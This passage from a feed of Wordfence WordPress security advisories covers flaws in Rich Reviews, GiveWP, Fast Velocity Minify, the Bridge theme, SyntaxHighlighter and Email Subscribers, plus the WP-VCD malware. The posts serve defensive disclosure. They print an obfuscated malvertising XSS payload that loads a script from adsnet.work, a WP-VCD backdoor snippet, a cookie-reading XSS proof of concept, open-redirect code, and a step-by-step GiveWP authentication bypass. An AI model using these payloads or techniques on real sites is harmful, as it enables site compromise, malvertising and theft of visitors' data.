When PHP is configured with “allow_url_fopen=On”, certain versions of PHP will allow the file_exists() function to fetch a URL. So this may also be part of a security fix or improvement.

Change in wp-sanitize.js

We noticed that this sanitization routine now includes recursion which will continue to sanitize text until the text no longer changes. It also uses textarea.textContent instead of textarea.innerHTML in the new version. Here is the diff:

What to do Next

At the risk of stating the obvious, update as soon as possible. This is a minor WordPress release, which means that most sites will automatically update.

If you’re running a high traffic production website with a dev/staging/production workflow involving a QA team, you probably need to run 5.2.3 on staging, let your QA team pound on it and then once they have worked through any issues, push to production. This takes time, but considering these vulnerabilities, I would recommend prioritizing this release over other projects.

The researchers who contributed these vulnerabilities to the core dev team will likely be releasing full details of each vulnerability fairly soon now that the core release is out. My guess is that the more professional researchers will release details in a week or two and others may release sooner. Once the details are out, these vulnerabilities are fully exploitable by anyone.

However, it’s worth noting that these vulnerabilities may become exploitable before details are released. The data released so far paints a bullseye on several areas of code in WordPress core, and by looking at a code diff, attackers can reverse engineer these vulnerabilities and develop exploit code themselves. For this reason, I strongly recommend that you update to 5.2.3 as soon as possible if you aren’t automatically updated.

In Closing

We’d like to congratulate the researchers who contributed fixes to WordPress core and express our appreciation to them for following responsible disclosure guidelines. Also thanks to the WP core team for implementing these fixes and helping keep the WordPress community safe.

You can find the official announcement of the WP 5.2.3 release on this page. If you have any questions or comments, please don’t hesitate to post them below and we’ll do our best to answer them in a timely manner. If you are one of the researchers whose work is included above and would like to provide additional detail or corrections, we welcome your comments.

Mark Maunder.

The post The WordPress 5.2.3 Security Release Unpacked appeared first on Wordfence.

Zero Day Vulnerability in Rich Reviews Plugin Exploited In The Wild

$
0
0
Description: XSS Via Unauthenticated Plugin Options Update
Affected Plugin: Rich Reviews
Affected Versions: <= 1.7.4
CVSS Score: 8.3 (High)
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L

The Wordfence Threat Intelligence team is tracking a series of attacks against an unpatched vulnerability in the Rich Reviews plugin for WordPress. The estimated 16,000 sites running the plugin are vulnerable to unauthenticated plugin option updates, which can be used to deliver stored cross-site scripting (XSS) payloads.

Attackers are currently abusing this exploit chain to inject malvertising code into target websites. The malvertising code creates redirects and popup ads. Our team has been tracking this attack campaign since April of this year. You can find additional research covering this attack campaign, published by us in April and again in August of this year.

The Wordfence firewall already has built-in rules that reliably block the XSS injections in this campaign, both for Premium users and those who haven’t upgraded yet. In addition to this, we have released a new firewall rule for our Premium customers to prevent attackers from making configuration changes, such as removing the need for review approval, or defacing certain text elements.

This new Wordfence firewall rule prevents manipulation of the plugin’s settings and has been automatically deployed to our Wordfence Premium customers. The new rule will be released to free users in 30 days.

The plugin’s developers are aware of this vulnerability, but there is no patch currently available. Please see our notes on disclosure below. We recommend users find an alternative solution as soon as possible, or remove the Rich Reviews plugin from your site.

The vulnerability in this plugin is being actively exploited. The Wordfence team is seeing this in our attack data and our Security Services Team has assisted customers of our site cleaning service who have had their site compromised by an attacker who exploited this vulnerability.

Why We Are Disclosing Today

Our published disclosure policy is to ensure that developers have 7 days to fix an actively exploited vulnerability. The Rich Reviews plugin was removed from the WordPress repository 6 months ago. That means that, even if the developers release a fix, customers will not be able to update until the plugin is reinstated in the repository. We saw this forum post 5 days ago describing another site being infected via this vulnerability. At that time the developers responded with the following:

We’ve been working on an overall rewrite of this plugin for a while now, but someone out there apparently wanted us to work faster on it, and decided to exploit our plugin to get some malware out there. We’re now going double-quick on it, and hope to have it back up (and newly cozy and secure) within the next two weeks.

In view of the active exploitation that is affecting the WordPress community, the removal of the plugin from the repository, the inability for WordPress sites to update if a fix is released, and the vague timeline expressed by the developer, we have made the decision to disclose the details of this vulnerability now so that the community can protect themselves immediately.

The Vulnerability At A Glance

The two core issues in the Rich Reviews plugin are a lack of access controls for modifying the plugin’s options, and a subsequent lack of sanitization on the values of those options.

To perform options updates, the plugin checks for the presence of the POST body parameter update. If the expected value is present, the plugin iterates through other options passed through POST and updates their values as needed. Unfortunately, this check is made every time the plugin’s RichReviews class is instantiated regardless of user permissions or the current path. This means all incoming requests are capable of performing these changes.

A number of the vulnerable option values are responsible for customizing text displayed by the plugin. Improper sanitization of these values allows attackers to inject JavaScript payloads which can be triggered by visitors as well as logged-in administrators.

The Attack Campaign

While performing forensic review of an infected site, a security analyst with our site cleaning team identified suspicious log activity associated with the Rich Reviews plugin.

183.90.250.26 - [redacted] "POST /wp-admin/admin-post.php?page=fp_admin_options_page HTTP/1.0" 200 - "-" "-"

An interesting note regarding this log entry is the inclusion of the plugin’s admin-post.php page string. This type of request is commonly seen in cases where an is_admin check is improperly used to test a user’s permissions, such as in this example from earlier this year. However, that workaround is unnecessary in this case, where all incoming requests are checked for options updates regardless of path.

The payloads injected by these attackers are directly associated with a malvertising campaign we’ve reported on previously:

eval(String.fromCharCode(118, 97, 114, 32, 115, 99, 114, 105, 112, 116, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 10, 115, 99, 114, 105, 112, 116, 46, 111, 110, 108, 111, 97, 100, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 125, 59, 10, 115, 99, 114, 105, 112, 116, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 97, 100, 115, 110, 101, 116, 46, 119, 111, 114, 107, 47, 115, 99, 114, 105, 112, 116, 115, 47, 112, 108, 97, 99, 101, 46, 106, 115, 34, 59, 10, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 104, 101, 97, 100, 39, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 99, 114, 105, 112, 116, 41, 59));

The obfuscated payload above executes the following script:

var script = document.createElement('script');
script.onload = function() {
};
script.src = "https://adsnet.work/scripts/place.js";
document.getElementsByTagName('head')[0].appendChild(script);

This XSS payload is nearly identical to those we’ve identified in this campaign before. The sourced third-party script place.js is similar to others we’ve seen in this malvertising campaign as well, which could trigger popup ads and unwanted redirects.

Indicators of Compromise (IOCs)

Our Threat Intelligence Team releases indicators of compromise where feasible so that other security vendors can add detection capability to their products and provide protection to their customers. The following are IOCs that we have observed associated with this attack campaign.

IP Addresses

The following IP addresses are linked to malicious activity against this vulnerability:

  • 94.229.170.38
  • 183.90.250.26
  • 69.27.116.3

Domain Names

  • adsnet.work – Hosts malicious scripts sourced by XSS injections.
    • Outbound DNS requests to this domain suggest a user on your network may have triggered a potentially dangerous redirect.

Database Content

Injected content will be present in the options table of your WordPress database, with the name rr_options.

Conclusion

Rich Reviews, a plugin with an estimated 16,000 users, was removed from the WordPress plugin repository in March for security reasons. The current version of the plugin contains a highly exploitable options update vulnerability that can be used to inject a stored XSS payload into vulnerable sites. We have identified a known malvertising campaign abusing vulnerable sites in order to deliver popup ads and potentially dangerous redirects.

Wordfence users, both Premium and those still on Free, are already protected from the attacks in this campaign due to the firewall’s robust XSS protection. There is potential for non-XSS abuse of this vulnerability, however, which has prompted us to release a new firewall rule. Wordfence Premium users have received an automatic update containing this new rule, while free users will receive an  update in thirty days.

The plugin’s developers have acknowledged the presence of these issues, but have provided an estimate of two weeks to resolve these vulnerabilities. Due to the length of this patch process and in light of the fact that the plugin has been removed from the official WordPress plugin repository, it is recommended that Rich Reviews users find an alternative solution to ensure the security of their sites.

Please consider sharing this post to help create awareness of this security issue.

Update

The Rich Reviews plugin has been adopted by a new development team, Starfish Reviews. The plugin has been reinstated in the WordPress.org repository, and new options handling code has been implemented which mitigates this vulnerability. Rich Reviews users should ensure they’ve updated to a secure version, 1.8.0 or greater. Thank you to the team at Starfish Reviews for resolving this issue!

The post Zero Day Vulnerability in Rich Reviews Plugin Exploited In The Wild appeared first on Wordfence.

Authentication Bypass Vulnerability in GiveWP Plugin

$
0
0
Description: Authentication Bypass with Information Disclosure
CVSS v3.0 Score: 7.5 (High)
CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Affected Plugin: GiveWP
Plugin Slug: give
Affected Versions: <= 2.5.4
Patched Version: 2.5.5

A few weeks ago, our Threat Intelligence team discovered a vulnerability present in GiveWP, a WordPress plugin installed on over 70,000 websites. The weakness allowed unauthenticated users to bypass API authentication methods and potentially access personally identifiable user information (PII) like names, addresses, IP addresses, and email addresses which should not be publicly accessible. 

We privately disclosed the issue to the plugin’s developer on September 3rd, who were quick to respond and released a patch shortly after. Wordfence Premium customers received a new firewall rule on September 4th to protect against exploits targeting this vulnerability. Free Wordfence users will receive the rule after thirty days.

This is considered a high security issue, and websites running Give 2.5.4 or below should be updated to version 2.5.5 or later right away.

Vulnerability In Detail

GiveWP provides users with an API functionality in order to integrate donation data into webpages and applications like Zapier. Site owners are able to generate a unique API key along with a token and private key that can be used to access restricted endpoints and gain access to donation data. However, it turned out that if no API key was generated, any user was able to access restricted endpoints by simply selecting any meta key from the wp_usermeta table and setting that as the authentication key. For instance, the nickname or session_tokens meta key (which are defined for all users) could have been supplied instead of a valid API key. There is also an authentication token that is used to validate this API request, however, for users that have not generated an API key, the authentication token is simply just the MD5 hash of the meta key that is used in place of a valid API key.

The API key validation method can be found in the validate_request() method seen below.

private function validate_request() {
		global $wp_query;

		$this->override = false;

		// Make sure we have both user and api key
		if ( ! empty( $wp_query->query_vars['give-api'] ) && ( $wp_query->query_vars['give-api'] !== 'forms' || ! empty( $wp_query->query_vars['token'] ) ) ) {

			if ( empty( $wp_query->query_vars['token'] ) || empty( $wp_query->query_vars['key'] ) ) {
				$this->missing_auth();

				return false;
			}

			// Retrieve the user by public API key and ensure they exist
			if ( ! ( $user = $this->get_user( $wp_query->query_vars['key'] ) ) ) {

				$this->invalid_key();

				return false;

			} else {

				$token  = urldecode( $wp_query->query_vars['token'] );
				$secret = $this->get_user_secret_key( $user );
				$public = urldecode( $wp_query->query_vars['key'] );

				if ( hash_equals( md5( $secret . $public ), $token ) ) {
					$this->is_valid_request = true;
				} else {
					$this->invalid_auth();

					return false;
				}

			}
		} elseif ( ! empty( $wp_query->query_vars['give-api'] ) && $wp_query->query_vars['give-api'] === 'forms' ) {
			$this->is_valid_request = true;
			$wp_query->set( 'key', 'public' );
		}
	}

The first check verifies if there is a valid user and API key, if there is no token or API key set then the request is automatically denied from moving further. If we have both the token and key set, we can then move on to retrieving the user by the public API key that was set and this is where we find our first major problem.

We then get to the get_user() method that does a check based on the API key that was provided. Unfortunately, in this check it doesn’t verify if the key was one generated by the Give API, but rather just fetches the user_id for any meta key in the wp_usermeta table, so if we pass in nickname or session_tokens as our meta key we’ll get back a valid user.

	public function get_user( $key = '' ) {
		global $wpdb, $wp_query;

		if ( empty( $key ) ) {
			$key = urldecode( $wp_query->query_vars['key'] );
		}

		if ( empty( $key ) ) {
			return false;
		}

		$user = Give_Cache::get( md5( 'give_api_user_' . $key ), true );

		if ( false === $user ) {
			$user = $wpdb->get_var( $wpdb->prepare( "SELECT user_id FROM $wpdb->usermeta WHERE meta_key = %s LIMIT 1", $key ) );
			Give_Cache::set( md5( 'give_api_user_' . $key ), $user, DAY_IN_SECONDS, true );
		}

		if ( $user != null ) {
			$this->user_id = $user;

			return $user;
		}

		return false;
	}

The next check is to verify a “signature” of the user’s API key which is the MD5 hash of a secret key concatenated with the supplied API key. The secret key is normally defined when an API key is created for a given user. For user’s that have not generated an API key, the secret is an empty value, so a valid signature can be forged using just the MD5 value of the meta key that we’ve passed in instead of a valid API key.

	$token  = urldecode( $wp_query->query_vars['token'] );
				$secret = $this->get_user_secret_key( $user );
				$public = urldecode( $wp_query->query_vars['key'] );

				if ( hash_equals( md5( $secret . $public ), $token ) ) {
					$this->is_valid_request = true;

Taking a Look at the Exploit

Once the key has been set to any meta key value from the wp_usermeta table, and the token is set to the corresponding MD5 hash of the meta key selected, you can make a request to the restricted endpoints accessing sensitive donor data. In this example, we used the meta_key session_tokens and the MD5 hash of the string session_tokens which is ea78b7d35ff75719b36056cfa14ddcc8.

Personally Identifiable Information displayed when accessing vulnerable “donations” endpoint from GiveWP plugin.

As you can see, information in these endpoints can contain PII like names, addresses, IP addresses, and email addresses which should not be publicly accessible.

Disclosure Timeline

September 3rd – Plugin developer notified of the security issue
September 4th – Firewall rule released to Wordfence Premium users
September 20th – Patch released
October 4th – Firewall rule becomes available to free users

Conclusion

In today’s post, we detailed an authentication bypass flaw present in the GiveWP plugin. This flaw has been patched in version 2.5.5 and we recommend users update to the latest version available. Sites running Wordfence Premium have been protected from attacks against this vulnerability since September 4th, 2019. Sites running the free version of Wordfence will receive the firewall rule update on October 4th, 2019.

Thank you to the plugin’s team at GiveWP, for their extremely prompt response and cooperation to get a fix out quickly, and to Matt Barry, Wordfence’s Lead Developer, for his assistance in researching this vulnerability.

The post Authentication Bypass Vulnerability in GiveWP Plugin appeared first on Wordfence.

Medium Severity Vulnerability Patched in Fast Velocity Minify Plugin

$
0
0
Description: Full Path Disclosure
CVSS v3.0 Score: 4.3 (Medium)
CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Affected Plugin: Fast Velocity Minify
Plugin Slug: fast-velocity-minify
Affected Versions: <= 2.7.6
Patched Version: 2.7.7

A few days ago, our Threat Intelligence team identified a vulnerability present in Fast Velocity Minify, a WordPress plugin with approximately  80,000+ active installs. This flaw allowed authenticated attackers to discover the full web root path to the running WordPress application. We disclosed this issue privately to the plugin’s development team who released a patch just a few hours after our initial disclosure.

Fast Velocity Minify versions up to 2.7.6 are vulnerable to attacks against this flaw. All Fast Velocity Minify users should update to version 2.7.7 immediately. Wordfence Premium customers received a new firewall rule on October 14th to protect against exploits targeting this vulnerability. Free Wordfence users will receive the rule after thirty days.

Vulnerability In Detail

Fast Velocity Minify is a plugin that provides a functionality to help improve the speed of WordPress sites it is installed on by using a caching method that merges Javascript & CSS files into a limited number of grouped files. One feature of this plugin is meant to allow administrators to review cached files in the plugin settings dashboard. In order to display the status of the cached files, the plugin uses a wp_ajax callback to the $cachedir  where it retrieves the information about the files. While this feature did use the is_admin() function to verify that the request was coming from an administrative screen, it did not do a capability check to verify if the call was coming from an authenticated administrative user viewing the status page.

 if(is_admin()) {
    add_action('admin_menu', 'fastvelocity_min_admin_menu');
    add_action('admin_enqueue_scripts', 'fastvelocity_min_load_admin_jscss');
    add_action('wp_ajax_fastvelocity_min_files', 'fastvelocity_min_files_callback');
    add_action('admin_init', 'fastvelocity_min_register_settings');
 # function to list all cache files
function fastvelocity_min_files_callback() {
	global $cachedir;
	
	# default
	$size = fastvelocity_get_cachestats();
	$return = array('js' => array(), 'css' => array(), 'cachesize'=> $size); 

This functionality is intended to provide site owners with status updates on already available files that can be seen in the source code of WordPress sites. The real issue appeared when the option ‘Enable FVM Debug Mode’ was enabled. Once that option was enabled, the full file path including the web root was logged in the $cachedir with a status update that could later be viewed on the ‘status’ page. Since this plugin was using the is_admin() function for authorization, it meant the AJAX request only needed to come from an administrative page so authentication could be bypassed and the information could be accessed. 

Any user with subscriber and above capabilities could send an AJAX request from an administrative page and see the information found on the ‘Status’ page which included the full path to the WordPress instance when ‘Enable FVM Debug Mode’ was enabled.

Fast Velocity Minify Full Path Disclosure Exploit.

Zoomed in on Fast Velocity Minify Full Path Disclosure.

Although there was no direct harm with this vulnerability, it could have been used to further escalate a more sophisticated attack. Therefore, we created a firewall rule to protect Wordfence users against its exploitation.

Vulnerability Importance and Impact

Discovered vulnerabilities should always be corrected and protected from when discovered, regardless of the vulnerability’s severity. Although a full path disclosure vulnerability is not the most severe vulnerability, it still poses a security risk to anyone running the vulnerable software on their systems.

A full path disclosure can be used as part of a larger chain of attacks. An attacker gaining the path of your site’s web root structure could allow them to map out your file structure for exploitation such as a directory traversal attack where malicious actors could access restricted directories and can potentially execute commands outside of the web root directory where WordPress is installed. Attackers can also use a full path disclosure to help aid in a local file inclusion attack, where they may need the full web root directory structure in order to include the file they would like to execute as a result of the vulnerability. A full path disclosure provides attackers with useful information needed to exploit other more severe vulnerabilities, which is what makes them dangerous.

Out of precaution, we immediately released a firewall rule to our Wordfence Premium users so that they would be protected against this vulnerability. The chances of this vulnerability being exploited are quite low for most WordPress users, and the requirements make it quite difficult to exploit. Wordfence takes all security vulnerabilities seriously, and our threat intelligence team proactively researches, discloses and protects against known vulnerabilities to keep our users safe. 

Disclosure Timeline

October 14th, 2019 – Developers notified privately of security issue. 
October 14th, 2019 – Firewall rule released to Wordfence Premium users.
October 14th, 2019 – Developers acknowledged issue and released patch. 
November 14th, 2019 – Free users receive firewall rule to protect against this vulnerability.

Conclusion

In today’s post, we detailed a full path disclosure flaw present in the Fast Velocity Minify plugin. This flaw has been patched in version 2.7.7 and we recommend users update to the latest version available. Sites running Wordfence Premium have been protected from attacks against this vulnerability since October 14th, 2019. Sites running the free version of Wordfence will receive the firewall rule update on November 14th, 2019.

Thank you to the plugin’s developer Raul Peixoto, for their extremely prompt response and cooperation in quickly patching this vulnerability.

The post Medium Severity Vulnerability Patched in Fast Velocity Minify Plugin appeared first on Wordfence.


Open Redirect Vulnerability Patched In Bridge Theme

$
0
0
Description: Open Redirect
CVSS v3.0 Score: 7.1 (High)
CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
Affected Software: Two built-in plugins packaged with the Bridge theme – Qode Instagram Widget and Qode Twitter Feed
Plugin Slugs: qode-instagram-widget, qode-twitter-feed
Affected Versions: Bridge Theme: 18.2 / Plugins: 2.0.1
Patched Version: Bridge Theme: 18.2.1 / Plugins: 2.0.2

Our Threat Intelligence team recently identified an open redirect vulnerability in Bridge, a commercial WordPress theme purchased more than 120,000 times. We disclosed this issue to Qode Interactive, the theme’s developers, who have since released a patch for the affected components.

The initial discovery was related to one of the theme’s prepackaged helper plugins, Qode Instagram Widget. After discovery, Qode’s team patched a similar open redirect flaw in another prepackaged plugin, Qode Twitter Feed. Both of these plugins should be updated to their latest version, which is 2.0.2 in both cases at the time of this writing. These updates will be accessible from within the Bridge theme’s recommended plugin manager once the theme has been updated to 18.2.1.

We have released new firewall rules which protects Wordfence users’ sites from abuse of these open redirects. Wordfence Premium users already have access to these rules, and users still on the free version will have access in thirty days.

In today’s post, we’ll take a look at the vulnerabilities that were patched, and we’ll briefly discuss the risk that an open redirect vulnerability presents. Update workflows can vary for commercial themes and plugins such as these, so we’ll additionally be providing a short guide to help Bridge users ensure they’re up to date.

What Is An Open Redirect?

An open redirect vulnerability exists when a web application can be made to redirect a visitor to an arbitrary location based on user input. This can be used to create innocent-looking web links to legitimate domains, which then redirect the victim to a dangerous location. This is commonly used in phishing scams, since a link to a trustworthy site is much more likely to be clicked than a typical phishing domain.

A classic example of this type of flaw is as follows:

$redirect_url = $_GET['url'];
header("Location: " . $redirect_url);

In the example above, a victim could be sent a link to https://legitimatesite.com/redirect.php?url=https://evilsite.com, hover over the link to confirm the legitimatesite.com domain, click on it, and be taken to evilsite.com without their permission.

In the WordPress ecosystem, this could be used in spearphishing attacks against site administrators. An administrator could receive a link to their own website and be taken to a WordPress login page, not knowing they were redirected to a phishing site built to harvest their credentials.

Vulnerable Redirect Scripts In Prepackaged Plugins

Upon install, the Bridge theme prompts users to install a number of prepackaged plugins. Two of these plugins, Qode Instagram Widget and Qode Twitter Feed, contained redirect scripts which allowed open redirects.

For Qode Instagram Widget, the following script could be found at lib/instagram-redirect.php:

<?php

if(!empty($_GET['redirect_uri']) && !empty($_GET['code'])) {
    $glue = strstr($_GET['redirect_uri'], '?') ? '&' : '?';
    header('Location: '.($_GET['redirect_uri'].$glue.'code='.$_GET['code']));
}

This code takes the GET parameters redirect_uri and code, and combine them into an eventual redirect location.

The code in Qode Twitter Feed is almost identical. The following can be found at lib/twitter-redirect.php:

<?php

if(!empty($_GET['redirect_url']) && !empty($_GET['oauth_token']) && !empty($_GET['oauth_verifier'])) {
    $glue = strstr($_GET['redirect_url'], '?') ? '&' : '?';
    header('Location: '.($_GET['redirect_url'].$glue.'oauth_token='.$_GET['oauth_token']).'&oauth_verifier='.$_GET['oauth_verifier']);
}

Not counting the interchange of “URI” and “URL” in the variable names, the only differences are the additional GET parameters required to trigger the redirect.

Upon disclosure, Qode Interactive responded that these scripts were only present for demo purposes, and they have been removed entirely from patched versions of the plugins.

How Do I Patch?

Commercial WordPress themes and plugins often have update workflows that differ from those native to the WordPress.org repository. In the case of the Bridge theme and its associated plugins, it seems many users aren’t getting the updates they need. According to our data, 38% of active Qode Instagram Widget installations haven’t been updated in more than two years, and that number jumps to 68% for Qode Twitter Feed users. 

Updating these plugins first requires users to update the Bridge theme. This is done either by manually downloading and installing an updated copy of the theme from ThemeForest, or by using the Envato Market plugin which also comes bundled with the Bridge theme to update from within the WordPress dashboard.

Screenshot of the Envato Market plugin’s API setup process.

Once the Envato Market plugin is installed, you can open its menu in the dashboard and set up your site’s API access to the Envato Marketplace. This will require you to log in to the account you used to purchase the Bridge theme and generate an access token using the steps they provide.

Once the API connection has been established, the theme can be updated. Unfortunately, the need to update isn’t made particularly obvious from most of the dashboard, as it doesn’t interact with WordPress’s built-in update notification system. Instead, you’ll see the update available within the Theme selector (Appearance -> Themes), or within the Themes tab of the Envato Market options page.

Screenshot of the WordPress theme selector showing an update available for Bridge.

Once Bridge has been updated, users may see a nag notification telling them their built-in plugins need to be updated, but if they ignore or dismiss it there’s no persistent indication that an update is available. If users open their plugins page, they won’t see a typical update notice. The individual plugin entries will show an “Update Required” link, however.

Screenshot of a WordPress plugin management page, showing several Qode plugins with “Update Required” links.

Short-Term Fix: Delete The Scripts

In the event that updating your site’s Bridge theme isn’t immediately possible, such as cases where a one-time developer installed it before vanishing into the wind, it’s easy to resolve the security issues present in these plugins without updating anything else.

Since the vulnerable files aren’t actually used or referenced in the plugins themselves, users can simply delete instagram-redirect.php and twitter-redirect.php from their sites without causing any problems. While it’s still always recommended that users update their themes and plugins, removing these files will still mitigate security concerns in the meantime.

Disclosure Timeline

  • 09/19/19 – Vendor notified of issue
  • 09/23/19 – Vendor acknowledged issue and proposed patch
  • 10/16/19 – Patched version released

 

The post Open Redirect Vulnerability Patched In Bridge Theme appeared first on Wordfence.

Stored XSS Patched in SyntaxHighlighter Evolved Plugin

$
0
0
Description: Stored XSS
CVSS Severity Score: 6.1 (Medium)
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Affected Software: SyntaxHighlighter Evolved
Plugin Slug: syntaxhighlighter
Affected Version: 3.5.0
Patched Version: 3.5.1

While doing a security audit of the plugins and themes we run on wordfence.com, I discovered a stored XSS vulnerability in SyntaxHighlighter Evolved. SyntaxHighlighter Evolved currently has around 40,000+ active installations. We use SyntaxHighlighter here at Wordfence for code samples within blog posts.

SyntaxHighlighter will, by default, create links for URLs within the shortcode body. The URL regex is loose enough where a javascript:// psuedo-protocol can be used to execute JavaScript when clicked. SyntaxHighlighter will process shortcodes in post comments, so an unauthenticated user can submit shortcodes containing an XSS payload. The XSS payload is then rendered within the comments section of the post, and the comments moderation page in WP Admin.

Proof of Concept:

[code]javascript://%0dalert%28document.cookie%29[/code]

This creates a link with the javascript: pseudo-protocol that can be used to execute arbitrary JavaScript when clicked. The vulnerability is actually with the regular expression used to match and auto-link URLs within the code block:

/&lt;\w+:\/\/[\w-.\/?%&=@:;]*&gt;|\w+:\/\/[\w-.\/?%&=@:;]*/g

The \w+ character class part of \w+:\/\/ is too loose and will create links with javascript:, data:, etc. The stored XSS payload when submitted through comments will be rendered in both the comments section of a post, and within the comments moderation section of the WordPress admin panel.

*.wordpress.com Sites Also Affected

I noticed Automattic listed as a contributor to SyntaxHighlighter. I decided to see if SyntaxHighlighter was one of the plugins covered under Automattic’s bug bounty program. It wasn’t in the list, so I checked to see if they were using SyntaxHighlighter on wordpress.com. They do, in fact, use it to render code blocks within comments for sites hosted with wordpress.com.

I submitted the vulnerability report to Automattic through HackerOne. Automattic triaged the report and deployed a fix to wordpress.com within 2 hours of the initial report. Version 3.5.1 of SyntaxHighlighter was released 4 days following the initial report. Automattic awarded a $300 bounty with a $50 bonus for the report.

Bounty Donated to OHSU in Memory of Alex Mills

The original developer of SyntaxHighlighter was a WordPress developer named Alex Mills. Sadly, he passed away earlier this year from leukemia. He worked for Automattic and was quite a prolific member of the WordPress community.

I decided to donate the bounty from Automattic to Oregon Health and Science University (OHSU) in memory of Alex Mills. OHSU played a key role in Alex’s care when undergoing treatment. You can read more about OHSU and about Alex on his blog.

Disclosure Timeline

  • October 4th, 2019 10:16am EDT – Vulnerability report sent to Automattic via HackerOne.
  • October 4th, 2019 12:05pm EDT – Automattic deploys fix to *.wordpress.com sites.
  • October 8th, 2019 – Automattic releases version 3.5.1 of SyntaxHighlighter.
  • October 9th, 2019 – Bounty awarded by Automattic and donated to OHSU.
  • October 21st, 2019 – Report (#707720) disclosed on HackerOne.

Conclusion

SyntaxHighlighter Evolved <= 3.5.0 contains a stored XSS vulnerability via specially crafted comments. The vulnerability was fixed in 3.5.1, and it is recommended that you update as soon as possible. This vulnerability is covered by our generic XSS firewall rule, so Wordfence users have been protected from this vulnerability all along.

The post Stored XSS Patched in SyntaxHighlighter Evolved Plugin appeared first on Wordfence.

WP-VCD: The Malware You Installed On Your Own Site

$
0
0

One of the most prevalent malware infections facing the WordPress ecosystem in recent weeks is a campaign known as WP-VCD. Despite the relatively long existence of the campaign, the Wordfence threat intelligence team has associated WP-VCD with a higher rate of new infections than any other WordPress malware every week since August 2019, and the campaign shows no signs of slowing down.

In today’s post, we are publishing a comprehensive whitepaper analyzing WP-VCD. This whitepaper contains the full details of our research efforts into this prevalent campaign. It is intended as a resource for threat analysts, security researchers, WordPress developers and administrators, and anyone else interested in tracking or preventing the behavior associated with WP-VCD.

WP-VCD In Brief

The WP-VCD infection itself is spread via “nulled”, or pirated, plugins and themes distributed by a network of related sites, and it’s remarkable in the way it propagates once deployed. Behind the scenes, extensive command and control (C2) infrastructure and self-healing infections allow attackers to maintain a persistent foothold on these infected sites.

<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '2f3ad13e4908141130e292bf8aa67474'))
	{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
	case 'change_domain';
	if (isset($_REQUEST['newdomain']))

The code snippet above was sourced from an infected functions.php file on a site compromised by WP-VCD. Due to the campaign’s prevalence, this example is likely immediately recognizable to anyone with experience handling WordPress malware infections.

Full details and code analysis of the WP-VCD campaign can be found in the full report.

Infrastructure, Monetization, and Attribution

At various points in its history, specific features have been added and removed from the malware, but most core components of WP-VCD have remained consistent. Monetization comes from two main sources: viral marketing activity intended to manipulate search engine results via black hat SEO, and malvertising code which creates potentially dangerous redirects and pop-up ads for users viewing a compromised site.

In the whitepaper, we provide some insight into the extent of WP-VCD’s infrastructure and monetization scheme. We also reveal data which provides attribution to the threat actor behind the campaign.

Indicators of Compromise (IOCs)

In order to aid the security community in the prevention, detection, and eradication of WP-VCD infections, we have provided an extensive list of IOCs associated with this campaign. We have also shared some YARA-compatible malware detection rules for public use in the identification of infected sites.

Read The Full Report

The full scope of our investigation into WP-VCD far exceeds that of a typical research blog post, so please read the complete whitepaper: WP-VCD: The Malware You Installed On Your Own Site.

Credits: WP-VCD whitepaper by Mikey Veenstra. Editing by Sean Murphy and Ramuel Gall. 

The post WP-VCD: The Malware You Installed On Your Own Site appeared first on Wordfence.

Multiple Vulnerabilities Patched in Email Subscribers & Newsletters Plugin

$
0
0

A few weeks ago, our Threat Intelligence team identified several vulnerabilities present in Email Subscribers & Newsletters, a WordPress plugin with approximately 100,000+ active installs. We disclosed this issue privately to the plugin’s development team who responded quickly, releasing interim patches just a few days after our initial disclosure. The plugin team also worked with us to implement additional security measures.

Plugin versions of Email Subscribers & Newsletters up to 4.2.3 are vulnerable to attacks against all of the vulnerabilities described below, and versions up to 4.3.0 are vulnerable to the SQL injection vulnerability. All Email Subscribers & Newsletters users should update to version 4.3.1 immediately. Wordfence Premium customers received new firewall rules on October 14th to protect against exploits targeting these vulnerabilities. Free Wordfence users receive these rules on November 14th.


Unauthenticated File Download w/ Information Disclosure

Description: Unauthenticated File Download w/ Information Disclosure
CVSS v3.0 Score: 5.8 (Medium)
CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
Affected Plugin: Email Subscribers & Newsletters
Plugin Slug: email-subscribers
Affected Versions: <= 4.2.2
Patched Version: 4.2.3

Email Subscribers & Newsletter provides site owners with the ability to create newsletter campaigns that site users can subscribe to. One feature of this plugin is the ability to export all of the site’s subscribers into a single CSV file containing first names, last names, email addresses, mailing lists the subscriber is on, and more. Unfortunately, there was a flaw in this plugin that allowed unauthenticated users to export subscriber lists and gain all of the information provided by subscribers.

Vulnerability in Detail

In order to provide this functionality, the plugin registered the query variables status and report which were used to signal the export of the subscribers list. In vulnerable versions of this plugin, there was no access control in place to verify that the user exporting the subscriber list had the proper authorization to do so. Therefore, this flaw allowed any unauthenticated user the ability to export the list of subscribers and obtain sensitive information such as user emails by sending the correct query variables and corresponding parameters.

 	public function __construct() {

		$report = ig_es_get_request_data( 'report' );
		$status = ig_es_get_request_data( 'status' );

		if ( $report &amp;amp;&amp;amp; $status ) {

			$status = trim( $status );

			$selected_list_id = 0;

			if ( 'select_list' === $status ) {
				$selected_list_id = ig_es_get_request_data( 'list_id', 0 );

				if ( 0 === $selected_list_id ) {
					$message = __( "Please Select List", "email-subscribers" );
					ES_Common::show_message( $message, 'error' );
